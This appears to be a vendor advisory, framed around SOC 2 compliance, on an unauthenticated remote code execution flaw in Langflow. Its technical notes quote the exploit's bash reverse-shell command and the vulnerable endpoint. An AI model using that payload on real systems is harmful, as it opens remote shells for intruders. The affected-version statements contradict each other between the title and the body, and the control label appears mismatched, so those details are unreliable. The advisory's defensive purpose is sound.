Critical Remote Code Execution (CVE‑2026‑33017) Discovered in Langflow 1.9.0 Web Application Framework
What Happened — A new vulnerability (CVE‑2026‑33017) affecting Langflow versions < 1.9.0 enables unauthenticated remote code execution. The exploit abuses the /api/v1/build_public_tmp/{flow_id}/flow endpoint, injecting malicious Python code that spawns a reverse shell on the host. The flaw was publicly disclosed on Exploit Database on 2026‑07‑08.
Why It Matters for Compliance & Audit Readiness
- The issue maps directly to SOC 2 CC6.1 (System Operations) – a control that requires documented, continuous monitoring of system vulnerabilities and timely remediation.
- Demonstrating that you have an automated inventory of software versions and patch status provides defensible audit evidence and reduces the risk of a control failure.
- Verisq’s Control Mapping capability can continuously correlate discovered CVEs with your asset register, generating real‑time evidence for SOC 2 examinations.
Who Is Affected — Organizations that deploy Langflow for internal workflow automation, SaaS platforms, or any web‑based service that embeds the open‑source tool (primarily the Technology / SaaS sector).
Recommended Actions
- Inventory every Langflow instance and verify the running version.
- Upgrade all installations to ≥ 1.9.0 or apply any vendor‑provided mitigations.
- Add the Langflow package to your vulnerability‑management feed and enable automated alerts for future CVEs.
- Document the remediation steps and retain logs as part of your SOC 2 evidence package.
Source: Exploit‑DB #52627
Technical Notes — The exploit sends a crafted JSON payload containing Python code that executes os.system("bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"). No authentication is required beyond a valid client_id cookie. The vulnerability is classified as a Remote Code Execution (RCE) on multiple platforms (tested on Debian). CVE‑2026‑33017 currently has no public CVSS score, but the unrestricted code execution suggests a Critical severity. Source: same as above